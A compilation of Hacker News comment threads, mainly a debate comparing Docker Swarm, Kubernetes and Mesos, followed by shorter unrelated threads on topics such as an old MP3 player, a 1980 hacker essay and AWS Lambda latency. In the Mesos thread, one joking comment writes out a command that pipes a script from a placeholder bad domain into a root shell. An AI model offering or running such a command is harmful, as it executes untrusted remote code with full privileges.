Docker vs. Kubernetes vs. Mesos - <AUTHOR> https://mesosphere.com/blog/docker-vs-kubernetes-vs-apache-mesos/ <comment><USER3> Those kind of articles are not so useful, Mesosphere is the company behind DC/OS and Mesos and they have all the interest in the world to say that Mesos is the best. Things like "... are willing to get your hands dirty integrating your solution with the underlying infrastructure" when talking about Kubernetes is unfair, especially if you compare Kubernetes to Mesos and not to Mesosphere DC/OS for which they provide paid services.

It is true that Mesos works on a different level, but, most of all, the two level scheduling is just a different take at the problem of abstracting physical/virtual resources. In the end, both Mesos/Marathon and Kubernetes aim at the same goal: allow developers to stop thinking about servers.

Kubernetes' great advantages is the community (which is unbelievable) and the extensibility it proposes: Third Party Resource or Custom Resource Definition, pluggable webhooks in the API Server and a number of other things that are simply not there in Marathon or any competitor which allow companies to make Kubernetes work best for their use cases.

<comment><USER4> The Kubernetes folks talk about the differences here and how you could build Mesos apps in K8s: [https://github.com/davidopp/kubernetes/blob/87f2590f373306ea...](https://github.com/davidopp/kubernetes/blob/87f2590f373306ea34e5f147d8beb5172256fdf5/docs/devel/mesos- style.md)

The limitation of only being able to run Containers I think will be fleeting — as docker and alternatives mature, it really won't make sense to ever use anything else when trying to get the scale that Kubernetes and Mesos is going for by abstracting out the underlying hardware and providing a framework to run sophisticated apps on undifferentiated hardware.

<comment><USER5> What's described in that doc is even easier today thanks to Operators ([https://coreos.com/operators](https://coreos.com/operators)), which, to quote the description page, are "application-specific controller[s] that extend[s] the Kubernetes API to create, configure and manage instances of complex stateful applications on behalf of a Kubernetes user."

Disclosure: I work on Kubernetes at Google (and wrote the doc you linked to).

</comment></comment></comment><comment><USER6> It feels downplayed in this article, so I would like to state for the record here, I am a happy user of Docker Swarm.

Swarm has been shown to scale to tens of thousands of hosts, but I found it easy to start with, especially with the Gitlab CI support, which natively brings a Docker container registry.

So I commit, CI builds my containers, stores them in my private registry, and automatically deploys from there to the Swarm in various environments. All this was much easier to setup than the alternatives.

Also, I expect an easy transition should I need to move to Mesos or k8s. If I ever need to. In the mean time I like to keep it simple.

<comment><USER7> How do you automate the updating of images on Docker Swarm?

<comment><USER8> I do this:

        docker build -t $APPNAME:$timestamp .
        OUTPUT="$(docker service inspect -f '{{.Spec.Name}}' sv-$APPNAME || true)"
        if [ "$OUTPUT" == "" ]; then
          # Service does not exist
          echo "Creating service"
          docker service create --update-delay 5s \
            --publish $PUBPORT:8080 --replicas 2 \
            --mount type=bind,source=$(cd ../images; pwd),target=/images,readonly=true \
            --mount type=bind,source=$(cd ../processed_images; pwd),target=/app/images \
            --mount type=bind,source=$(cd ..; pwd)/config.json,target=/config.json,readonly=true \
            --mount type=bind,source=$(cd ~/.aws; pwd),target=/root/.aws,readonly=true \
            --name sv-$APPNAME $APPNAME:$timestamp
        else
          # Service exists
          echo "Updating service"
          docker service update --image $APPNAME:$timestamp sv-$APPNAME

I haven't looked in a while, but it would be nice if they had some kind of "upstall" (update/install) kinda like upsert (update/insert) in CRUD land.

</comment></comment></comment><comment><USER9> I guess I should expect some bias given the publisher, but despite a good technical write-up of the difference, their conclusions aren't really backed up by the rest of the article and the wording is obviously slanted towards their own product.

> While there are multiple initiatives to expand the scope of the project to > more workloads (like analytics and stateful data services), these > initiatives are still in very early phases and it remains to be seen how > successful they may be.

StatefulSets have been in Kubernetes since 1.5 (two versions ago) and while some aspects of them still could do with a bit of work, calling it "very early stages" is unfair, as is the suggestion that there's still not any single approach to it.

> If you want to build a reliable platform that runs multiple mission critical > workloads including Docker containers, legacy applications (e.g., Java), and > distributed data services (e.g., Spark, Kafka, Cassandra, Elastic), and want > all of this portable across cloud providers and/or datacenters, then Mesos > (or our own Mesos distribution, Mesosphere DC/OS) is the right fit for you.

It's not clear from the article why Mesos is "a reliable platform" but Kubernetes is implied not to be. I'm also not sure why the frequent references to Java as a special case either - you obviously can run Java services on top of Kubernetes as well.

<comment><USER10> They said legacy applications. You can run a command or script or binary in Mesos / marathon. In Kubernetes, you can run only containers. So at the minimal, your legacy app has to be containerized / dockerized.

<comment><USER11> > You can run a command or script or binary in Mesos / marathon.

Where does the binary come from, if not from a container?

<comment><USER12>
      curl http://bad.domain.com | sudo sh

naturally

To be fair, we put our payloads on S3 and tell our universal executor to fetch & unpack them & run a configured command. We successfully wrote an xargs- replacement as a Mesos framework which worked pretty well.

<comment><USER13> And in kubernetes land, you can run an ubuntu container and do that just as well. Except, you'll lose out on having all the shared resources and state of your host machine. If that sounds scary to you, you should take a minute to think about it the other way - Under the mesos realm, _every process can modify the state shared by every other process_. If that hasn't convinced you off mesos, than I wish you all the luck you deserve, but not the luck you'll need.

<comment><USER12> 3/10 patronizing and FUD. Mesos is happy to limit resources with cgroups etc. When you say

      every process can modify the state shared by every other process

in _italics_ (the scariest type variant), do you mean 'the filesystem'? Mesos has a swathe of isolators to choose from to enforce separation. Mesos is also happy to let tasks run as a specific user, so the good old Unix process model will stop random tasks from stomping each other.

Did you see the other comments drawing attention to the inequality of the Mesos/Kubernetes comparison & suggesting Marathon as the more appropriate peer technology?

</comment></comment></comment></comment></comment></comment><comment><USER14> I recently evaluated all 3 solutions. Here is how I see it after testing the waters:

\- want something simple that works today? Docker Swarm

\- want something amazingly flexible? Kubernetes

\- already use Mesos or DC/OS? Marathon/Mesos

This article from Mesosphere is interesting and gives a good overview, but it downplays advantages of Swarm and Kubernetes and clearly highlights Mesos: Docker has 4 bullet points, Kubernetes has 3 and Mesos has 5.

In addition, Marathon is meant to work on Mesosphere DC/OS and not on other operating systems. For instance, the "Virtual IP" [1] feature only works on DC/OS from what I can tell. This confused me because this feature appears on the UI even if you run Ubuntu, it just doesn't work in that setup.

Docker Swarm seems to have a very comparable feature set, but doesn't care what OS you run.

There is an Mesos plugin for Kubernetes [2] but it looks unmaintained, so this sentence seems a bit off: "Mesos could even run Kubernetes or other container orchestrators, though a public integration is not yet available." This also goes to show how important community support and commercial backing is and Kubernetes is the clear winner here.

At the end, you can read this: "want all of this portable across cloud providers and/or datacenters, then Mesos (or our own Mesos distribution, Mesosphere DC/OS)". With Docker Swarm, you can use multiple cloud providers. Docker Swarm does not care about what servers you use. It encrypts traffic between nodes and needs Docker. That's it. It is cloud agnostic. I'm not sure what the story is with Kubernetes here. Kubernetes is a huge beast: very flexible and powerful, but a high upfront setup cost when you want to manage everything yourself.

[1] [https://dcos.io/docs/1.9/networking/load-balancing- vips/](https://dcos.io/docs/1.9/networking/load-balancing-vips/)

[2] [https://github.com/mesosphere/kubernetes- mesos](https://github.com/mesosphere/kubernetes-mesos)

<comment><USER15> Uh. I'm skeptic about Swarm being something that "works today". I really want to use it and spent some time experimenting, but failed to get it working. It could work for a toy webapp project, but I believe is insufficient for anything complicated. There are a lot of things that one would expect to have but that are yet unsolved. Or I'm just unaware that there is a solution (or the solution didn't fit my personal requirements).

1\. Networking options are really limited.

Built-in ingress loses of the originating IP address, cannot bind ports only on specific nodes (something that may have partially fixed this was implemented in 17.06 with --network=host option, but I haven't found much documentation), cannot prefer same-node containers (which is important if you have many microservices, as the latency adds up quickly) and more.

For ingress, if one's lucky to have only HTTP traffic (I don't), they can use something like Traefik. But they'll need to run LBs on a manager nodes which isn't really a smart thing to do, as Swarm is said to be sensitive to overloaded managers. Or one can just go for external LBs, like CloudFlare or whatever Amazon/Google/Microsoft offers.

If one needs raw TCP, UDP or other IP traffic - I think they'd better completely ignore built-in service discovery and LBs and go for something external, like etcd+haproxy/nginx, outside of the Swarm (on nodes' host OS). It has to be completely manual setup (okay, I meant Ansible/Puppet/Chef/Salt/etc). While it's possible to run LBs with Docker (non-Swarm containers, if the Swarm network is attachable), etcd is just not designed to auto-deploy on Swarm: its design explicitly disallows one to just `docker service create --name etcd my/custom/etcd && docker service scale etcd=5`, you'll need to set up every node by hand. I believe Consul is better in this regard but haven't tried it yet.

2\. I haven't figured out how to have a persistent storage that follows the containers. If a node dies, Swarm would spawn new containers on other nodes, but no chance to have even a slightly dated snapshot. There was something called Flocker that looked like a solution, but it's essentially dead (despite the revival attempts). GlusterFS is an option I know about, but it's really sensitive to latency.

Databases are even more tricky, unless one's bold to use something fancy like CockroachDB (I had enough subtle issues with RethinkDB to be wary about bleeding edge stuff). Maybe I'm just too stupid, but I failed to grok dynamic PostgreSQL multi-master BDR setup, so my DB is still SPOF with some WAL streaming replication manually-activated failovers.

3\. Secrets look like a nice addition, but they're best avoided. They're immutable and you have to recreate the container to switch them. If you have any services that have many user-initiated long-living connections (e.g. IRC, XMPP, Websockets or media streaming), this would makes secrets basically unusable for anything that could be rotated, like TLS certificates. Unless you can drop all your users every now and then.

4\. Logging was quite messy, but they've sorted it out with 17.06.

(As for the K8S - it solves most of the issues, but I got my share of issues with Rancher, so I'm really wary about having any complexity in the core. There's already a beast called Linux kernel down there, and $deity have mercy on those who have to debug its oopses. If a behemoth - I mean, K8s - <USER2> to misbehave, I expect to have a really bad time trying to keep things afloat. Even Swarm mode is fairly complex black box binary - but at least I can try debugging it.)

<comment><USER16> Regarding persistent storage following containers, check out REX-Ray: [https://rexray.readthedocs.io/en/stable/](https://rexray.readthedocs.io/en/stable/) as it works with various storage options.

</comment></comment></comment><comment><USER17> I do think it's a fight to the death for container orchestrators. The configuration files required to run complex auto-scaling systems can add up (and require DEEP understanding of all the systems involved and how they interact with each other) - Most developers don't want to have to do it for more than one orchestrator; especially since there is no straightforward migration path from one orchestrator to another.

Also, learning different orchestrators is a lot of work. Sure, maybe Mesos does more than just schedule containers, but that doesn't matter because a standardized orchestration platform is the main thing developers need right now - For orchestration to become truly standardized, there needs to be a single big majority winner.

It reminds me of the Minix vs Linux debate in the early days of operating systems; Minix was modular (microkernel) while Linux was monolithic. The reason why Linux won is because it provided a single consistent standard platform on which to build and configure applications. I think the same is going to happen here and I think that Kubernetes or Swarm are better placed in that regard.

<comment><USER18> > The configuration files required to run complex auto-scaling systems can add > up

Is there a tool for managing orchestration config?

I am very interested in learning the current status.

<comment><USER19> just watched a demo about [http://codesolvent.com/](http://codesolvent.com/) on monday, seems like they are providing a solution for configuration management that is oriented towards cloud orchestration.

i'm sure there are others, but this was fresh in my mind

</comment></comment></comment><comment><USER20> I am a relatively unhappy user of mesos marathon and chronos migrating to k8. While it would take a long time to mention all the reasons and I might do a writeup, one of the main things that pushed us to k8 was the code quality / bugs in the mesos stack. Minor examples are the bugs breaking HA + SSL in combination (mesos + marathon, fixed now) the odd bugs in chronos, where a major 3.0 release would forever append CMD to CMD modifying its own supposedly immutable config into a never ending string, the list is relatively long but we are spending too much time catching edge case bugs, which seem to be a side effect of a fairly loosely coupled stack that doesn't get tested enough.

Overall so far we are much happier with k8 in terms of both quality, and it's batteries included stance in most issues.

</comment><comment><USER21> As someone rather unfamiliar with the differences in cloud containerization options, I've been extremely confused anytime I see _extremely_ opinionated arguments about cloud infra. This article was a breath of fresh air and is exactly the reference guide that I have been looking for. The author provides a clear history of the development of the titular systems, provides an in- depth overview of their various strengths, and adequately describes the differences in architecture. Overall, an excellent read for the uninitiated.

I have previously tried to investigate why Kubernetes was considered useful [1], or why everyone was losing their minds over Docker [2]. But rarely came away with any clear insights.

[1] [https://www.kubernetes.io/case- studies/box/](https://www.kubernetes.io/case-studies/box/) [2] [http://www.quotecolo.com/the-case-for-docker-against- cloud-v...](http://www.quotecolo.com/the-case-for-docker-against-cloud- virtualization/)

<comment><USER11> Be aware, though, that this article is clearly partisan.

</comment></comment><comment><USER22> I would like to share my personal experience running Meoss.

I have been using Pure Mesos setup, without DC/OS for 2.5 years.

We have the following infra features.:

\- 120 micro-services running using marathon.

\- 10 batch jobs running using Chronos.

\- So far, everything is reliable and no downtime.

\- We have Ip-Per-Task enabled with Project Calico.

\- We have Public, Private, and IP Access-list enabled per container using Nginx and ELBs.

\- The max number of containers we ran on the cluster so far is 3620 containers.

\- We have detailed graphs monitoring per-container generated automatically.

\- We have (slack #alerts) alerting enabled.

\- We have secrets store using vault.

In the end we had to use (Mesos, Marathon, Chronos, Vault, Consul, Nginx, Calico, ELK, TICK.) on AWS.

The thing is, We had to configure these things to work together nicely so it is not out-of-the-box solution. Even though we haven't used Kubernetes yet, we are not religious to Mesos.

But at the moment, it seems we have everything we need and the team is happy with the current setup.

<comment><USER23> May I ask, any further details on the use cases or plain use of the networking landscape on your setup?

<comment><USER22> I use that for 2 scenarios:

\- to deploy on demand staging or QA environment including its dependencies.

\- allow service/infra devs to try services quickly without the need to use Terraform or to buy expensive instances in the first stage of the development.

</comment></comment></comment><comment><USER24> Why should there be an assumption of (full) objectivity on an article written by one provider of the 3 technologies that are being compared? Whit that said the article is fairly balanced in presenting some layers of the whole context (mostly the historical one).

Although I would mention Google tried to have their own Docker but that didn't pan out ([https://github.com/google/lmctfy](https://github.com/google/lmctfy)) so they switched to Docker and had Kubernetes open-sourced. More historical details would have just made for a longer (albeit more interesting) article I guess.

Now to actual context. While they mention Swarm is not in CNCF and under tight control of Docker Inc. they don't mention that while Mesos is in ASF, Mesosphere hired the majority of the PMC (committers with voting rights). and the rest of the DC/OS is not even in ASF so doesn't even have to abide to the rules of the ASF. At the same time, Mesosphere heavily used the Mesos brand by mixing Mesos-phere and DC/OS into everything Mesos.

So the reason people talk about Mesos, Marathon, DC/OS and Mesosphere as almost synonyms is because they made it so. Marathon used to be a Mesos framework and service scheduler, now it's a DC/OS one for the most part ([https://news.ycombinator.com/item?id=13656193](https://news.ycombinator.com/item?id=13656193))

However, in the process, they managed to alienate a part of the community too, all this while Kubernetes was able to do probably one of the best community jobs in OSS and skyrocketed ([https://trends.google.com/trends/explore?q=mesos,kubernetes](https://trends.google.com/trends/explore?q=mesos,kubernetes)). That must be a bitter irony if you consider that initially Kubernetes was supposed to be just a Mesos framework...

So yes, Mesos is lower level and with the two phase scheduling it should be more versatile, etc. but that value is highly diminished if you consider the focus is around DC/OS.

I think there are several angles that make this whole context interesting. Perhaps it would be worth a full writing...

<comment><USER5> > initially Kubernetes was supposed to be just a Mesos framework...

This is not correct. There is a community-owned project that allows Kubernetes to run on Mesos, but it came after standalone Kubernetes.

Disclosure: I work on Kubernetes at Google.

<comment><USER24> Then perhaps you could ask John Wilkes ;)

later edit: I'm referring to the fact that when Kubernetes came out it didn't have resource allocation and the answer to "how it compares to Mesos" was that it would run on top of Mesos as a framework.

John Wilkes gave a talk about Kubernetes at MesosCon in 2014 [https://www.youtube.com/watch?v=VQAAkO5B5Hg](https://www.youtube.com/watch?v=VQAAkO5B5Hg) and also answered the above question quite a bit while there...

<comment><USER5> Kubernetes was not designed with the intention that it would be a Mesos framework. But I think it's very cool that people figured out how to make it work as one!

From pre-1.0, Kubernetes did resource allocation for CPU and memory via its cluster-level scheduler, enforced on the node using the standard container isolation mechanisms provided by Docker.

Disclosure: I work on Kubernetes at Google.

</comment></comment></comment></comment><comment><USER25> This article hilariously makes it seem as though Google hadn't thought about using Linux cgroups and namespaces to manage processes before dotcloud conceived of Docker.

Nothing could be further from the truth. Google has been doing "containers" since before dotcloud was even a company.

<comment><USER26> This is addressed:

>Google had tremendous experience with containers (they introduced cgroups in Linux) but existing internal container and distributed computing tools like Borg were directly coupled to their infrastructure.

<comment><USER25> Ah I missed that, touché

</comment></comment></comment><comment><USER27> One more company with a "pricing" page that has no pricing information on it.

<comment><USER28> IIRC $5k per node, per year.

<comment><USER27> Oh. Well. _That_ would explain it. Thanks.

</comment></comment></comment><comment><USER29> Kubernetes running on DCOS is mentioned, but not treated as a real alternative. Kubernetes can run as an app on top of Mesos the same way marathon can. Note: I am a heavy user of Kubernetes, but not Mesos, so I can't comment how well it works.

Kubernetes uses "two phase scheduling" and Mesos can be plugged as a second phase (e.g. [https://github.com/kubernetes-incubator/kube-mesos- framework...](https://github.com/kubernetes-incubator/kube-mesos- framework/blob/master/docs/architecture.md) seems decent). For me it seems like a perfect combination - on the cloud you utilize cool stuff like GKE or [https://azure.microsoft.com/en-us/blog/announcing-azure- cont...](https://azure.microsoft.com/en-us/blog/announcing-azure-container- instances/) for phase 2 of schedule, but if your client wants to run your code to run on their servers you can run it on their mesos/dcos deployment.

</comment><comment><USER30> Too bad reviewers always forget Nomad from Hashicorp. [https://www.nomadproject.io/](https://www.nomadproject.io/)

The only cluster management system that doesn't take 3 years to understand and doesn't depend on 42 other complicated software.

<comment><USER31> Nomad _is_ mentioned in the article, so they hardly forgot about it.

</comment></comment><comment><USER32> It is true that mesos is often considered better suited to data/job oriented workloads as opposed to long running microservices applications, and I wonder why.

The argument is usually around mesos' two level scheduling paradigm with which i'm familiar, but still don't see it's practical advantages over simple master scheduler.

Does someone have any insight on this topic? (assume docker containers will be used anyway and that a single application/framework will work on the cluster)

</comment><comment><USER32> The article is theoretically correct, but practically if you use mesos you will use marathon/aurora and you'll compare that to Kubernetes. I find Kubernetes' "cloud native" approach much more compelling for green-field projects.

BTW - the more I dove into Marathon the more I discovered how thin wrapper it is above mesos, that does most of the work including - container runtime, pulling resources, starting tasks, handling registries, and now even health checks!

</comment><comment><USER33> Has anyone run k8s recently on DCOS (1.9)?

We're running on Azure and have spent quite a bit of time and engineering on k8s. We're trying out DCOS for frameworks like Spark. We'd prefer not to run two container infrastructures if possible.

I looked at kubernetes-mesos, its installation wasn't as simple as "dcos package kubernetes" so I'm wondering if I'm going down a path of high resistance.

</comment><comment><USER34> I'm using Mesos in production. TL;DR - if you have less than 1000 machines, don't even think about Mesos. They don't care about you (you don't give them enough money, which they are really short of), and their system uses strategies that are effective only when you have a large number of machines.

</comment><comment><USER35> I'm kind of saddened that BSD jails never got this kind of attention. I wonder why? Is it tooling? There was ezjail and BSDploy. iocage seems to be doing some interesting stuff, especially with respect to configuration.

</comment><comment><USER36> I kind of wish someone had written this article from an independent viewpoint.

<comment><USER37> [https://netsil.com/blog/kubernetes-vs-docker-vs- mesosphere/](https://netsil.com/blog/kubernetes-vs-docker-vs-mesosphere/)

</comment></comment><comment><USER38> weird they say Kubernets are more comparable to Docker in Swarm Mode than Docker standalone, but then list the features of Docker standalone

not that I'd endorse swarm mode eh, it's very very early stages and lacks a truckload of features before it could be used in anything but the simplest node replication scenarios.

</comment><comment><USER39> K8 already won the orchestration battle.

<comment><USER40> _K8 already won the orchestration battle._

There is a battle? There is only room for a "single" orchestration platform? What about users with needs that differ from the mainstream?

I find that such a limiting worldview on deploying infrastructure. If I wanted "one size fits all" I would stay within the Microsoft environment.</comment></comment>


The Diamond Rio PMP300: Can this classic 18-year-old MP3 player still cut it? - <AUTHOR> http://arstechnica.com/gadgets/2016/10/diamond-rio-pmp300-mp3-player-today/ <comment><USER2> I clicked on this hoping to see a story about using the Rio player to house a Pi Zero or something like that ... Maybe I should dig out my trusty companion...</comment>


The Hacker Papers (1980) - <AUTHOR> http://www.textfiles.com/news/hackpape.hac

<comment><USER2> This reminds me of at least a few people in college. I tended to avoid the CS department computer lab for fear of becoming something like the essay describes. I didn't do too much better, though. I did decide to snap out of it, ironically, when I moved to SF to do a startup.

One thing that surprised me upon arriving in SF, is how well-balanced and adjusted lot of the 'hacker' types seemed. I think computer programming has developed another subculture, or maybe a couple other subcultures that are very different from the hacker subculture.

<comment><USER3> > _I think computer programming has developed another subculture, or maybe a > couple other subcultures that are very different from the hacker > subculture._

I agree. Programming went mainstream in the last decade (I noticed the transition in an interesting way - it used to be that any girl look at me weirdly for being "into computers", now every other girl just says "hey, my boyfriend is a programmer too!"). And now your average coder is indeed well- balanced and adjusted. Also not a hacker. Those are two different subcultures now.

<comment><USER4> There is just way more money in the business than in the 80s and the internet and smartphones made using a computer way more mainstream.

</comment></comment></comment><comment><USER3> > _The hacker will probably not strongly disagree with what has been said so > far. But he will ask the question, "So what?"_

Exactly. So what?

I fit a big part of this description, though I also disagree with a lot of conclusions of this essay.

INB4 I apologize for the tone, but generally this essay pissed me off.

> _We are precluding the human values so necessary for the wise application of > this technological achievement. The most brilliant young minds at our top > universities are learning how to play with multi-million dollar toys first, > and how to utilize them constructively second._

If by "utilizing them constructively" you mean playing Farmville, mindlessly balancing spreadsheets at work or using machines for getting more money for yourself then well, I don't want to be anywhere near this "constructive" usage of computers. There are creative things to do with them. There are also important problems to solve that will determine the future of human civilization. I care about those.

> _On the level of actual learning, the same students shut off outside > subjects even more completely than their grades would indicate._

Now do they? I'm sorry, but actual hackers are the only people I know that are interested and capable of comprehending many distinct disciplines at once. Most of people seem not to bother. They do some job, they have a hobby, and they spend time with family. It's not an english major I will go to if I want to learn the intricacies of English grammar. I'd rather find a hacker with interest in English, because from my experience, he tends to acutally understand the subject better. Same for history. Or pretty much anything.

> _The second thing to go is a normal living pattern. Eating and sleeping are > completly rearranged to fit the addiction. The typical hacker thinks nothing > of eating one meal a day and subsisting on junk food, or of sleeping from 4 > a.m. to noon almost every day of the week._

Well, so what? The junk food addiction seems to be disappearing among geeks anyway, and as for sleeping from 0400 to 1200 - I do that too because hell, the night is the only time I can get anything done. Because people are sleeping then, there are no errands to run, no need to be in the office and waste your time, etc.

> _It is simply that the parents of hackers are ignorant of the subculture and > cannot relate._

That might be true. But the only cases I know are from somewhat dysfunctional families (I wonder how many of us became geeks thanks to that), and well - it's harder to relate to people with totally different outlook on life, who on top of that can't and don't want to understand your interest. Even though programming is becoming mainstream, too much (i.e. non job-related) programming is still treated as something weird. The society expects people to respect each other's interests and try to at least grasp the basics out of politeness. But strangely, when you're a geek, no one wants to do that with you.

Your average geek is probably well-read about a lot of different things, much more so than an average person, therefore they can hold any kind of non- technical conversation with people. But soon they find it's the _only_ kind of conversation they can hold. So how can one be surprised hackers tend to isolate if no one gives a fuck about their interests?

> _Relations with nonhackers become strained, so why force the effort? It is > so much easier just to accept social rejection and isolation, and to do it > with a spirit of camraderie that 's shared by the rest of the subculture._

Yeah, that's true. But can you really blame hackers for that? It's not hackers that do the rejecting.

> _Weak-willed people, people with unstable social lives, people in formative > stages of their lives, should not become involved in computer science. It > should be left until they are truly able to make decisions and be aware of > all the consequences. Computers are most often used by people who start when > they are immature. This is what causes the single-minded addiction._

Now really? First of all, there is no such time when a person is "truly able to make decisions and be aware of all the consequences". It's always continous learning.

Secondly, this whole paragraph reads more like "people should be prevented from developing intellectual intrests, because they won't fit in well with the dumb grey mass of the rest of society". Well I'm sorry, I prefer my "single- minded addiction" of curiosity, skills and caring about important problems instead of petty soap-opera issues.

Also sadly, in a way this essay has won. Most of the programmers now are not geeks. They're well-balanced part of mainstream society. And it's as hard to relate with them as with normal society. So you can't now just use the proxy of "good programmer = hacker" to find people to do interesting or important work with.

<comment><USER5> So I agree that is a provocative essay. A more generous interpretation of what the writer means might be:

\- a broad social interaction is vital if are to lead enriched lives, and also if we want to help others

\- a genuine intellectual mind is one which is curious about learning in varied forms (in point of fact, a lot of good programmers are musicians too)

Now, even if you agree with the above, it doesn't follow that programming is especially bad compared to other ways people spend their time. Playing Farmville all day, as you argue, is not likely to be conducive to the good life or society either. Not that either hacking late at night, or Farmville are bad - it's more the point the article makes about addiction I guess, and lack of balance or outward-turning in our lives.

Sounds like a load of pretentious waffle, but hopefully some of that makes sense or conveys some of what (I think) the article is saying.

</comment></comment><comment><USER6> The observation regarding change in behavior and social interaction is probably valid even today - but what difference does it really make ?

<comment><USER7>
      The hacker will probably not strongly disagree with what has been said so far.
      But he will ask the question, "So what?"

</comment></comment><comment><USER7> Wow.</comment>


Angry Birds maker predicts the death of console gaming - <AUTHOR> http://venturebeat.com/2011/03/13/angry-birds-console-gaming/ <comment><USER2> People have been predicting the death of console gaming for decades. Console games were supposed to have been dead in the early 1980s, replaced by the explosive growth of affordable home computers. Then Nintendo released the NES.

Everything has its place and function. Specialized gaming hardware will likely outperform general mobile platforms for years to come. I think either our friends at Rovio expressed a simplistic view of gaming, or the nuances Vesterbacka and Co. expressed were lost in translation. Or, the author of the article removed any nuance that was expressed to make his job of writing an article with a clear theme easier.

</comment><comment><USER3> Ooh, I love famous last words, especially when delivered from a totally-not- self-serving position. Remember when EA bought Pogo and it revolutionized their business? Me neither.

Mr. Vesterbacka has just received a new chunk of change in the hopes of making a real go of it in the game software world, of course he's going to try and hack down the elephant in the room. It's a hallmark of ambitious VC-backed companies to overreach in a very public way, generating press and announcing their arrival as a Very Serious Player (Trip Hawkins look out). Let me know when Rovio starts making Very Small Game Studio dollars and we can start talking about market power.

Heck, it remains to be seen whether they're even more than a self-duplicating one-hit Zynga clone. Blah blah blah, now I'm contributing to the publicity.</comment>


AWS Lambda vs. EC2 Latency (API Gateway is very slow) - <AUTHOR> https://www.prerender.cloud/lambda-latency <comment><USER2> Is your 'Bare EC2' over SSL? I've used Apex Ping as well (btw it runs on Lambda), and it seems they open a new connection on each ping.

Getting 15 ms latency on a brand new TLS connection is nearly impossible over the internet. If you actually check the latency breakdown on your Ping, you'll see the TLS handshake is dominating the API Gateway -> EC2 request.

I'm all for this type of analysis, but too often it isn't apples to apples.

<comment><AUTHOR> You're right, and I agree it isn't apples to apples. I am still looking for ways to break the 150ms TLS handshake barrier (let me know if you have)

My intention was merely to point out the difference between bare/raw HTTP on ec2 vs API Gateway (which is only HTTPS).

But this comparison is in fact almost useless because the world is moving to HTTPS everywhere.

<comment><AUTHOR> (almost instead of completely useless) because there's still a ~50ms Lambda penalty

</comment></comment></comment><comment><AUTHOR> This was in response to TJ Holowaychuk's blog post: "Blueprints for up" [https://medium.com/@tjholowaychuk/blueprints-for- up-1-5f8197...](https://medium.com/@tjholowaychuk/blueprints-for- up-1-5f8197179275) (running express/connect as a child process of Lambda)

and curiosity as to how far Lambda is from being used for anything latency sensitive - but it turns out Lambda isn't the slow part - it's API Gateway.</comment>


And you thought the tea party was bad? This is the next generation of voters - <AUTHOR> http://www.nytimes.com/2011/05/05/education/05civics.html?smid=tw-nytimes&seid=auto

<comment><USER2> I'm not really sure what to make of reports like this. One the one hand, it does seem pretty terrifying. But on the other, I feel like the fact that the governing apparatus of the US has more-or-less worked for several hundred years can't have been predicated on a hyper-educated electorate.

It reminds me of a quote at the beginning of Types and Programming Languages, attributed to Tom Melham: "Formal methods will never have a significant impact until they can be used by people that don't understand them."

I would think systems of government would be similar.

<comment><AUTHOR> The governing apparatus of the US is less than 300 years old non? A couple things are also different this time - at no time in world history has american reach/impact been so great, and the US is pretty much facing a one of a kind set of challenges with the combination of near fiscal ruin, with being the world's reserve currency (just to name one).

The quality of education that voters have might be the same as it has been in the past, but the consequences of poor electoral choices is most definitely greater.

</comment></comment><comment><USER3> This shouldn't be on Hacker News.

<http://ycombinator.com/newsguidelines.html>

 _Off-Topic: Most stories about_ _politics_ _, or crime, or sports, unless they're evidence of some interesting new phenomenon_

Also, please submit things by their original title unless the original title isn't descriptive.

 _You can make up a new title if you want, but if you put gratuitous editorial spin on it, the editors may rewrite it._

I'm not saying this to be a jerk or to call you out, but because you appear to be somewhat new here.

<comment><AUTHOR> Noted - hadnt seen the submission guidelines before and I appreciate it.</comment></comment>


Postgres tips for optimizing Django and Python performance - <AUTHOR> https://www.citusdata.com/blog/2020/05/20/postgres-tips-for-django-and-python/ <comment><USER2> Don't use ORMs - I'd say, mostly, don't use Django - it's the Rails of the Python ecosystem. The app you end up with in the long run is a mess of spaghetti and tightly coupled models, schemas, and business logic.</comment>


Two thousand years in one chart - <AUTHOR> http://www.economist.com/blogs/dailychart/2011/06/quantifying-history

<comment><USER2> I'd like to see a similar graph ending in 1900, 1800, etc. How different do those graphs look to this one? (EDIT: obviously you can just block out the last column(s), but the resolution isn't that good.)

In other words, is there anything special about this point in time?

Would a log graph better show if there has been other explosive growths like the 20th and the start of the 21st centuries? Maybe I'm incredibly naive, but it seems like they've plotted exponential growth and said, "hey, it looks exponential!"

</comment><comment><USER3> "If people do make history, as this democratic view suggests, then two people make twice as much history as one."

If those people are isolated, this may be true, but if they are able to communicate, interact, and cooperate, to me it follows that the whole would be greater than the sum of the parts.

<comment><USER4> Only if you don't count the communication/interaction/cooperation networks as being a part of the whole.

</comment></comment><comment><USER5> It's not clear to me that you gain much understanding by comparing economic output across time in this way. A lot of "economic output" is not objective production, but just people trading amongst themselves. More people, more churn, so a higher number. But not necessarily more production or scientific discoveries or technological advances. A group of 500 people cutting each other's hair has more economic output than 50 people doing so!

<comment><USER6> Thankfully since the chart also shows years-lived per century, it is quite easy to grasp the change in economic output per year-lived as well. The 20th century was the first to surpass a 1:1 ratio and did it quite impressively with almost 2:1. While so far this century it is around 4:1 already.

</comment></comment><comment><USER7> Interesting chart. Can someone explain 'years lived' to me? Is this the percentage of all years all people combined to live in each respective Century?

Thanks.

<comment><USER8> Yup, it ought to be the population integrated over time, and then normalized to add up to 100%.

<comment><USER7> OK, thanks.

</comment></comment></comment><comment><USER9> Cheap hydrocarbons made all the difference in the 20th century. Whether this growth will flatten or slow down, we will wait and see.

<comment><USER10> As Moore said about exponentials: "It can't continue forever. The nature of exponentials is that you push them out and eventually disaster happens."

Global energy consumption in 2008 was estimated to be 474 exajoules. The energy received by the earth from the sun is 5 million exajoules. So the difference is about a factor 10,000.

Assuming that we find a replacement for hydrocarbons (fusion, thorium?) and a modest 2% growth rate, that means we're only log(10000) / log(1.02) = 465 years away from having to deal with an amount of industrial waste heat _equivalent to a second sun shining onto our planet_. This is obviously absurd. We'll run into serious problems that will stop our growth long before that.

</comment></comment><comment><USER11> And yet another non logarithmic graph of money.

I'm really surprised to see such ignorance on The Economist. People who write about money for a living should know better.

<comment><USER12> The scale is % of economic output and years lived. Assuming the output is inflation adjusted, why would you prefer the scale to be logarithmic?

<comment><USER3> Agreed, since economic output is measured in 1990 Dollars, there's no need for a logarithmic scale here.

<comment><USER11> Because economic output always builds on previous output. That is the definition of an exponential function, and to reverse those effects you need to take the log.

It's easy to see this - just look at the early years, and notice the curve - it's an almost exact exponential curve. Graphing an exponential curve teaches you very little about the underlying data.

